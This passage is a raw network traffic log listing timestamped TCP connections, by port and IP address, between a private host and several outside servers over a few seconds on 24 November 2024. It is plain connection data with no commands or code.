Nov 24, 2024 23:24:29.134351969 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.135113001 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.135140896 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.137429953 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.137438059 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.313874006 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.315387011 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.315407991 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.316191912 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.316201925 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.401814938 CET	49765	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:29.402344942 CET	49770	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:29.402400970 CET	443	49770	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:29.402460098 CET	49770	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:29.402726889 CET	49770	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:29.402745962 CET	443	49770	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:29.404144049 CET	49766	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.404345989 CET	49761	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:29.408014059 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:29.408045053 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:29.408119917 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:29.408340931 CET	49772	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.408381939 CET	443	49772	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:29.408515930 CET	49772	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.409589052 CET	49768	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.409913063 CET	49777	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.409935951 CET	443	49777	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:29.409998894 CET	49777	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.410568953 CET	49772	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.410586119 CET	443	49772	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:29.410778999 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:29.410788059 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:29.411268950 CET	49777	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.411282063 CET	443	49777	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:29.443348885 CET	443	49765	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:29.447352886 CET	443	49766	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:29.451353073 CET	443	49761	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:29.455339909 CET	443	49768	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:29.529203892 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.529736996 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.529774904 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.530201912 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.530215025 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.571348906 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.571408987 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.571471930 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.571647882 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.571667910 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.571681976 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.571690083 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.578301907 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.578341007 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.578412056 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.578865051 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.578892946 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.620481014 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.621011972 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.621042967 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.621882915 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.622812986 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.622821093 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.624033928 CET	49779	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.624068975 CET	443	49779	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:29.624150038 CET	49779	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.624368906 CET	49779	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.624377966 CET	443	49779	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:29.624898911 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.624975920 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.625612020 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.625631094 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.636596918 CET	49780	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:29.636622906 CET	443	49780	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:29.636914968 CET	49780	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:29.637454033 CET	49780	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:29.637464046 CET	443	49780	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:29.641024113 CET	49781	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.641052961 CET	443	49781	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:29.641194105 CET	49781	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.641479969 CET	49781	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.641490936 CET	443	49781	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:29.729621887 CET	443	49747	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:29.729700089 CET	443	49747	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:29.729757071 CET	49747	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:29.730468035 CET	49747	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:29.730480909 CET	443	49747	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:29.730490923 CET	49747	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:29.730494976 CET	443	49747	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:29.748939991 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.749008894 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.749069929 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.750943899 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.750943899 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.750971079 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.750998974 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.755677938 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.755723953 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.755997896 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.756634951 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.756649971 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.759587049 CET	49783	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:29.759612083 CET	443	49783	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:29.759742022 CET	49783	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:29.760180950 CET	49783	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:29.760191917 CET	443	49783	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:29.856161118 CET	49788	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:29.856192112 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:29.856285095 CET	49788	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:29.856710911 CET	49788	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:29.856739998 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:29.901716948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:29.901784897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:29.957644939 CET	443	49761	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:29.957719088 CET	49761	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:29.964684010 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.964755058 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.964845896 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.965145111 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.965164900 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.965190887 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.965204000 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.968585014 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.968615055 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.968831062 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.971968889 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:29.971981049 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:29.984791040 CET	49795	443	192.168.2.5	18.165.220.57
Nov 24, 2024 23:24:29.984807014 CET	443	49795	18.165.220.57	192.168.2.5
Nov 24, 2024 23:24:29.985405922 CET	49795	443	192.168.2.5	18.165.220.57
Nov 24, 2024 23:24:29.986438036 CET	49795	443	192.168.2.5	18.165.220.57
Nov 24, 2024 23:24:29.986450911 CET	443	49795	18.165.220.57	192.168.2.5
Nov 24, 2024 23:24:30.029649973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:30.064625025 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:30.064681053 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:30.064918995 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:30.065118074 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:30.065136909 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:30.065150023 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:30.065157890 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:30.065481901 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:30.065536022 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:30.065620899 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:30.065994024 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:30.065994024 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:30.066025019 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:30.066051006 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:30.068115950 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:30.068135977 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:30.068228006 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:30.068275928 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:30.068298101 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:30.068408012 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:30.068419933 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:30.068458080 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:30.068557024 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:30.068567991 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:30.149194002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:30.235573053 CET	443	49765	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:30.235671997 CET	49765	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:30.235677958 CET	443	49765	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:30.235848904 CET	49765	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:30.236841917 CET	443	49766	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.236943007 CET	49766	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.396442890 CET	443	49768	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.396589994 CET	49768	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.664303064 CET	443	49770	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:30.664587021 CET	49770	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:30.664602041 CET	443	49770	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:30.668157101 CET	443	49770	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:30.668240070 CET	49770	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:30.669595957 CET	49770	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:30.669771910 CET	443	49770	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:30.670053005 CET	49770	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:30.670058966 CET	443	49770	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:30.686717033 CET	443	49777	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.687520981 CET	49777	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.687531948 CET	443	49777	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.688534021 CET	443	49777	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.688616037 CET	49777	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.689397097 CET	49777	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.689454079 CET	443	49777	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.689512968 CET	49777	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.700028896 CET	443	49772	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.700467110 CET	49772	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.700478077 CET	443	49772	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.701494932 CET	443	49772	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.701575994 CET	49772	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.702495098 CET	49772	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.702559948 CET	443	49772	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.702683926 CET	49772	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.731331110 CET	443	49777	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.732383013 CET	49770	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:30.732510090 CET	49777	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.732517004 CET	443	49777	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.747328043 CET	443	49772	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.747545004 CET	49772	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.747553110 CET	443	49772	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.840058088 CET	49777	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.891139030 CET	49801	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.891172886 CET	443	49801	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.891243935 CET	49801	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.891443968 CET	49801	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.891453981 CET	443	49801	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.907879114 CET	443	49780	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:30.908113003 CET	49780	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:30.908119917 CET	443	49780	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:30.909116983 CET	443	49780	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:30.909194946 CET	49780	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:30.909555912 CET	49780	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:30.909615040 CET	443	49780	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:30.909643888 CET	49780	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:30.912914038 CET	443	49781	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.913094044 CET	49781	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.913106918 CET	443	49781	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.914105892 CET	443	49781	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.914160967 CET	49781	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.914464951 CET	49781	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.914521933 CET	443	49781	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.914556980 CET	49781	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.935537100 CET	49772	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.943280935 CET	443	49779	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.943547964 CET	49779	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.943555117 CET	443	49779	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.944613934 CET	443	49779	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.944689989 CET	49779	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.945003986 CET	49779	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.945055962 CET	443	49779	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.945188999 CET	49779	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:30.945194006 CET	443	49779	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.955332994 CET	443	49780	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:30.959332943 CET	443	49781	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:30.996706009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:30.999272108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:31.030805111 CET	49780	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:31.030816078 CET	443	49780	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:31.030900955 CET	49779	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.046395063 CET	49781	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.046406031 CET	443	49781	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.047087908 CET	49802	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.047127962 CET	443	49802	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.047188044 CET	49802	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.047488928 CET	49803	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:31.047513962 CET	443	49803	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:31.047570944 CET	49803	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:31.047694921 CET	49802	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.047714949 CET	443	49802	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.047786951 CET	49803	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:31.047800064 CET	443	49803	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:31.098460913 CET	443	49770	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:31.098676920 CET	443	49770	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:31.099055052 CET	49770	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:31.099467993 CET	49770	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:31.099477053 CET	443	49770	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:31.131166935 CET	443	49777	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.131232023 CET	443	49777	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.131290913 CET	49777	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.131525993 CET	49777	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.131537914 CET	443	49777	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.139103889 CET	49780	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:31.145636082 CET	443	49772	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.145703077 CET	443	49772	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.145757914 CET	49772	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.149979115 CET	49772	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.149992943 CET	443	49772	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.245672941 CET	49781	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.344436884 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.348242044 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.348274946 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.349033117 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.349041939 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.352305889 CET	443	49780	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:31.352381945 CET	443	49780	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:31.352560043 CET	49780	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:31.352650881 CET	49780	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:31.352667093 CET	443	49780	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:31.357986927 CET	443	49781	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.358047962 CET	443	49781	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.358408928 CET	49781	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.358740091 CET	49781	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.358755112 CET	443	49781	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.366236925 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:31.366517067 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:31.366528034 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:31.366987944 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:31.367001057 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:31.367063999 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:31.367070913 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:31.367101908 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:31.367117882 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:31.367753983 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:31.369369030 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:31.369523048 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:31.369541883 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:31.369611025 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:31.396414995 CET	443	49779	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.396485090 CET	443	49779	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.396703005 CET	49779	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.396785975 CET	49779	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.396795034 CET	443	49779	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.435400009 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:31.435406923 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:31.494694948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:31.529489040 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.530328035 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.530359030 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.530931950 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.530937910 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.540328979 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:31.614161968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.661662102 CET	49804	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.661684990 CET	443	49804	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.661751032 CET	49804	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.667066097 CET	49805	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.667112112 CET	443	49805	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.667201042 CET	49805	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.667469978 CET	49804	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.667489052 CET	443	49804	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.667701960 CET	49805	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:31.667715073 CET	443	49805	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:31.779225111 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.779292107 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.779422045 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.779752970 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.779789925 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.779819012 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.779833078 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.781599998 CET	443	49783	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:31.781686068 CET	49783	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:31.786555052 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.790410995 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.790429115 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.790891886 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.790896893 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.793009043 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.793049097 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.793060064 CET	49783	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:31.793071032 CET	443	49783	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:31.793133020 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.793355942 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.793370962 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.793411970 CET	443	49783	40.126.53.11	192.168.2.5
